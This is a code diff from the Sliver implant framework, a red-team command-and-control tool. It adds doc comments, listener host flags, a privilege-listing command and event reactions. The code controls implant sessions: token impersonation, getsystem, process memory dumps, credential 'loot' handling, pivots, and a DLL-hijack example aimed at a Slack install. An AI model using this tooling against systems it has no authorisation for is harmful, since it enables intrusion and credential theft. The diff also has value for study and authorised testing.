+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a local DLL as the reference DLL
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+`
+
+	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
+[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
 `
 )
 
@@ -568,7 +679,7 @@ const (
 // GetHelpFor - Get help string for a command
 func GetHelpFor(cmdName []string) string {
 	if 0 < len(cmdName) {
-		if helpTmpl, ok := cmdHelp[strings.Join(cmdName, ".")]; ok {
+		if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
 			return FormatHelpTmpl(helpTmpl)
 		}
 	}

client/command/info/info.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	var session *clientpb.Session
@@ -57,6 +58,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
+// PIDCmd - Get the active session's PID
 func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -65,6 +67,7 @@ func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.Printf("%d\n", session.PID)
 }
 
+// UIDCmd - Get the active session's UID
 func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -73,6 +76,7 @@ func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.Printf("%s\n", session.UID)
 }
 
+// GIDCmd - Get the active session's GID
 func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -81,6 +85,7 @@ func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.Printf("%s\n", session.GID)
 }
 
+// WhoamiCmd - Displays the current user of the active session
 func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/info/ping.go

@@ -9,6 +9,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
 func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/jobs/dns.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// DNSListenerCmd - Start a DNS lisenter
 func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	domains := strings.Split(ctx.Flags.String("domains"), ",")
@@ -36,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
 	dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
 		Domains:    domains,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),

client/command/jobs/http.go

@@ -26,14 +26,17 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// HTTPListenerCmd - Start an HTTP listener
 func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
 	http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
 		Domain:     domain,
 		Website:    ctx.Flags.String("website"),
+		Host:       lhost,
 		Port:       uint32(lport),
 		Secure:     false,
 		Persistent: ctx.Flags.Bool("persistent"),

client/command/jobs/https.go

@@ -27,9 +27,11 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// HTTPSListenerCmd - Start an HTTPS listener
 func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
 	website := ctx.Flags.String("website")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	cert, key, err := getLocalCertificatePair(ctx)
@@ -43,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
 		Domain:     domain,
 		Website:    website,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Secure:     true,
 		Cert:       cert,

client/command/jobs/jobs.go

@@ -33,6 +33,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// JobsCmd - Manage server jobs (listeners, etc)
 func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if ctx.Flags.Int("kill") != -1 {
 		jobKill(uint32(ctx.Flags.Int("kill")), con)

client/command/jobs/mtls.go

@@ -26,13 +26,14 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MTLSListenerCmd - Start an mTLS listener
 func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	server := ctx.Flags.String("server")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting mTLS listener ...\n")
 	mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
-		Host:       server,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Persistent: ctx.Flags.Bool("persistent"),
 	})

client/command/jobs/stage.go

@@ -52,7 +52,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	profile := generate.GetImplantProfileByName(profileName, con)
-	if profile != nil {
+	if profile == nil {
 		con.PrintErrorf("Profile not found\n")
 		return
 	}

client/command/jobs/wg.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// WGListenerCmd - Start a WireGuard listener
 func WGListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	lport := uint16(ctx.Flags.Int("lport"))
 	nport := uint16(ctx.Flags.Int("nport"))

client/command/loot/add-credential.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// LootAddCredentialCmd - Add a credential type loot
 func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	prompt := &survey.Select{
 		Message: "Choose a credential type:",

client/command/loot/fetch.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// LootFetchCmd - Display the contents of or download a piece of loot
 func LootFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	loot, err := SelectLoot(ctx, con.Rpc)
 	if err != nil {

client/command/loot/helpers.go

@@ -36,12 +36,16 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/desertbit/grumble"
 )
 
 var (
+	// ErrInvalidFileType - Invalid file type
 	ErrInvalidFileType = errors.New("invalid file type")
+	// ErrInvalidLootType - Invalid loot type
 	ErrInvalidLootType = errors.New("invalid loot type")
-	ErrNoLootFileData  = errors.New("no loot file data")
+	// ErrNoLootFileData - No loot file data
+	ErrNoLootFileData = errors.New("no loot file data")
 )
 
 // AddLootFile - Add a file as loot
@@ -106,6 +110,7 @@ func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error
 	return err
 }
 
+// SelectCredentials - An interactive menu for the user to select a piece of loot
 func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error) {
 	allLoot, err := con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{
 		Type: clientpb.LootType_LOOT_CREDENTIAL,
@@ -143,3 +148,56 @@ func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error)
 	}
 	return nil, errors.New("loot not found")
 }
+
+// SelectLoot - Interactive menu for the user to select a piece loot (all types)
+func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
+
+	// Fetch data with optional filter
+	filter := ctx.Flags.String("filter")
+	var allLoot *clientpb.AllLoot
+	var err error
+	if filter == "" {
+		allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return nil, err
+		}
+	} else {
+		lootType, err := lootTypeFromHumanStr(filter)
+		if err != nil {
+			return nil, ErrInvalidFileType
+		}
+		allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
+		if err != nil {
+			return nil, err
+		}
+	}
+
+	// Render selection table
+	buf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+	for _, loot := range allLoot.Loot {
+		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+	}
+	table.Flush()
+	options := strings.Split(buf.String(), "\n")
+	options = options[:len(options)-1]
+	if len(options) == 0 {
+		return nil, errors.New("no loot to select from")
+	}
+
+	selected := ""
+	prompt := &survey.Select{
+		Message: "Select a piece of loot:",
+		Options: options,
+	}
+	err = survey.AskOne(prompt, &selected)
+	if err != nil {
+		return nil, err
+	}
+	for index, value := range options {
+		if value == selected {
+			return allLoot.Loot[index], nil
+		}
+	}
+	return nil, errors.New("loot not found")
+}

client/command/loot/local.go

@@ -31,6 +31,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// LootAddLocalCmd - Add a local file to the server as loot
 func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	localPath := ctx.Args.String("path")
 	if _, err := os.Stat(localPath); os.IsNotExist(err) {

client/command/loot/loot.go

@@ -35,11 +35,10 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/desertbit/grumble"
 )
 
-// ---  Loot Command ---
+// LootCmd - The loot root command
 func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	filter := ctx.Flags.String("filter")
 	var allLoot *clientpb.AllLoot
@@ -75,6 +74,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
+// PrintLootFile - Display the contents of a piece of loot
 func PrintLootFile(stdout io.Writer, loot *clientpb.Loot) {
 	if loot.File == nil {
 		return
@@ -148,6 +148,7 @@ func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
 	return saveTo, err
 }
 
+// PrintAllLootTable - Displays a table of all loot
 func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	if allLoot == nil || len(allLoot.Loot) == 0 {
 		fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -172,6 +173,7 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	fmt.Fprintf(stdout, outputBuf.String())
 }
 
+// PrintAllFileLootTable - Displays a table of all file loot
 func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	if allLoot == nil || len(allLoot.Loot) == 0 {
 		fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -213,6 +215,7 @@ func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	fmt.Fprintf(stdout, outputBuf.String())
 }
 
+// PrintAllCredentialLootTable - Displays a table of all credential loot
 func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	if allLoot == nil || len(allLoot.Loot) == 0 {
 		fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -263,58 +266,6 @@ func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	fmt.Fprintf(stdout, outputBuf.String())
 }
 
-func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
-
-	// Fetch data with optional filter
-	filter := ctx.Flags.String("filter")
-	var allLoot *clientpb.AllLoot
-	var err error
-	if filter == "" {
-		allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return nil, err
-		}
-	} else {
-		lootType, err := lootTypeFromHumanStr(filter)
-		if err != nil {
-			return nil, ErrInvalidFileType
-		}
-		allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
-		if err != nil {
-			return nil, err
-		}
-	}
-
-	// Render selection table
-	buf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
-	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
-	}
-	table.Flush()
-	options := strings.Split(buf.String(), "\n")
-	options = options[:len(options)-1]
-	if len(options) == 0 {
-		return nil, errors.New("no loot to select from")
-	}
-
-	selected := ""
-	prompt := &survey.Select{
-		Message: "Select a piece of loot:",
-		Options: options,
-	}
-	err = survey.AskOne(prompt, &selected)
-	if err != nil {
-		return nil, err
-	}
-	for index, value := range options {
-		if value == selected {
-			return allLoot.Loot[index], nil
-		}
-	}
-	return nil, errors.New("loot not found")
-}
-
 func lootTypeToStr(value clientpb.LootType) string {
 	switch value {
 	case clientpb.LootType_LOOT_FILE:

client/command/loot/remote.go

@@ -31,6 +31,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/loot/rename.go

@@ -1,14 +1,5 @@
 package loot
 
-import (
-	"context"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
-)
-
 /*
 	Sliver Implant Framework
 	Copyright (C) 2021  Bishop Fox
@@ -27,6 +18,16 @@ import (
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+import (
+	"context"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// LootRenameCmd - Rename a piece of loot
 func LootRenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	loot, err := SelectLoot(ctx, con.Rpc)
 	if err != nil {

client/command/monitor/start.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MonitorStartCmd - Start monitoring threat intel for implants
 func MonitorStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/monitor/stop.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MonitorStopCmd - Stop monitoring threat intel for implants
 func MonitorStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	_, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/network/ifconfig.go

@@ -29,6 +29,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
+// IfconfigCmd - Display network interfaces on the remote system
 func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/network/netstat.go

@@ -29,6 +29,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// NetstatCmd - Display active network connections on the remote system
 func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/operators/operators.go

@@ -32,6 +32,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// OperatorsCmd - Display operators and current online status
 func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/pivots/named-pipe.go

@@ -8,6 +8,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
 func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/pivots/pivots.go

@@ -33,6 +33,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PivotsCmd - Display pivots for all sessions
 func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	timeout := ctx.Flags.Int("timeout")
 	sessionID := ctx.Flags.String("id")

client/command/pivots/tcp.go

@@ -9,6 +9,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// TCPListenerCmd - Start a TCP pivot listener on the remote system
 func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/portfwd/portfwd-add.go

@@ -29,6 +29,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/portfwd/portfwd-rm.go

@@ -24,6 +24,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PortfwdRmCmd - Remove an existing tunneled port forward
 func PortfwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	portfwdID := ctx.Flags.Int("id")
 	if portfwdID < 1 {

client/command/portfwd/portfwd.go

@@ -30,6 +30,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PortfwdCmd - Display information about tunneled port forward(s)
 func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	portfwds := core.Portfwds.List()
 	if len(portfwds) == 0 {

client/command/privilege/getprivs.go

@@ -0,0 +1,109 @@
+package privilege
+
+import (
+	"context"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var processName string = "Current Process"
+
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	if session.OS != "windows" {
+		con.PrintErrorf("Command not supported on this operating system.")
+		return
+	}
+
+	privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
+		Request: con.ActiveSession.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Response is the Envelope (see RPC API), Err is part of it.
+	if privs.Response != nil && privs.Response.Err != "" {
+		con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
+		con.PrintErrorf("%s\n", privs.Response.Err)
+	}
+
+	if privs.PrivInfo == nil {
+		return
+	}
+
+	if privs.ProcessName != "" {
+		processName = privs.ProcessName
+	}
+
+	// To make things look pretty, figure out the longest name and description
+	// for column width
+	var nameColumnWidth int = 0
+	var descriptionColumnWidth int = 0
+	var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
+
+	for _, entry := range privs.PrivInfo {
+		if len(entry.Name) > nameColumnWidth {
+			nameColumnWidth = len(entry.Name)
+		}
+		if len(entry.Description) > descriptionColumnWidth {
+			descriptionColumnWidth = len(entry.Description)
+		}
+	}
+
+	// Give one more space
+	nameColumnWidth += 1
+	descriptionColumnWidth += 1
+
+	con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
+	con.Println(strings.Repeat("-", introWidth))
+	con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
+	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
+	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
+	for _, entry := range privs.PrivInfo {
+		con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
+		if entry.Enabled {
+			con.Printf("Enabled")
+		} else {
+			con.Printf("Disabled")
+		}
+		if entry.EnabledByDefault {
+			con.Printf(", Enabled by Default")
+		}
+		if entry.Removed {
+			con.Printf(", Removed")
+		}
+		if entry.UsedForAccess {
+			con.Printf(", Used for Access")
+		}
+		con.Printf("\n")
+	}
+}

client/command/privilege/getsystem.go

@@ -26,13 +26,14 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
 func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
 	process := ctx.Flags.String("process")
-	config := con.GetActiveSliverConfig()
+	config := con.GetActiveSessionConfig()
 	ctrl := make(chan bool)
 	con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
 

client/command/privilege/impersonate.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ImpersonateCmd - Windows only, impersonate a user token
 func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/privilege/make-token.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/privilege/rev2self.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// RevToSelfCmd - Drop any impersonated tokens
 func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/privilege/runas.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// RunAsCmd - Run a command as another user on the remote system
 func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/processes/procdump.go

@@ -1,5 +1,23 @@
 package processes
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
@@ -11,6 +29,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ProcdumpCmd - Dump the memory of a remote process
 func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/processes/ps.go

@@ -44,6 +44,7 @@ var (
 	}
 )
 
+// PsCmd - List processes on the remote system
 func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -166,6 +167,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
 	return color
 }
 
+// GetPIDByName - Get a PID by name from the active session
 func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
 		Request: con.ActiveSession.Request(ctx),

client/command/processes/terminate.go

@@ -1,5 +1,23 @@
 package processes
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 
@@ -8,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// TerminateCmd - Terminate a process on the remote system
 func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/reaction/README.md

@@ -0,0 +1,5 @@
+Reaction
+=========
+
+Commands to set a reaction, or unset a reaction. Reactions allow the operator to automate commands in response to event(s).
+

client/command/reaction/helpers.go

@@ -0,0 +1,80 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"path"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/core"
+)
+
+const (
+	ReactionFileName = "reactions.json"
+)
+
+// GetReactionFilePath - Get the
+func GetReactionFilePath() string {
+	return path.Join(assets.GetRootAppDir(), ReactionFileName)
+}
+
+// SaveReactions - Save the reactions to the reaction file
+func SaveReactions(reactions []core.Reaction) error {
+	reactionFilePath := GetReactionFilePath()
+	data, err := json.MarshalIndent(reactions, "", "  ")
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(reactionFilePath, data, 0600)
+}
+
+// LoadReactions - Save the reactions to the reaction file
+func LoadReactions() (int, error) {
+	reactionFilePath := GetReactionFilePath()
+	data, err := ioutil.ReadFile(reactionFilePath)
+	if err != nil {
+		return 0, err
+	}
+	reactions := []core.Reaction{}
+	err = json.Unmarshal(data, &reactions)
+	if err != nil {
+		return 0, err
+	}
+	for _, oldReaction := range core.Reactions.All() {
+		core.Reactions.Remove(oldReaction.ID)
+	}
+	for _, reaction := range reactions {
+		if !isReactable(reaction) {
+			continue
+		}
+		core.Reactions.Add(reaction)
+	}
+	return len(reactions), nil
+}
+
+func isReactable(reaction core.Reaction) bool {
+	for _, eventType := range core.ReactableEvents {
+		if reaction.EventType == eventType {
+			return true
+		}
+	}
+	return false
+}

client/command/reaction/reaction.go

@@ -0,0 +1,90 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionCmd - Manage reactions to events
+func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	totalReactions := 0
+	for _, eventType := range core.ReactableEvents {
+		reactions := core.Reactions.On(eventType)
+		if 0 < len(reactions) {
+			displayReactionsTable(eventType, reactions, con)
+		}
+		totalReactions += len(reactions)
+	}
+	if totalReactions == 0 {
+		con.PrintInfof("No reactions set\n")
+	}
+}
+
+func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
+
+	// Title
+	con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
+
+	// Table
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "ID\tCommands\t\n")
+	fmt.Fprintf(table, "%s\t%s\t\n",
+		strings.Repeat("=", len("ID")),
+		strings.Repeat("=", len("Commands")),
+	)
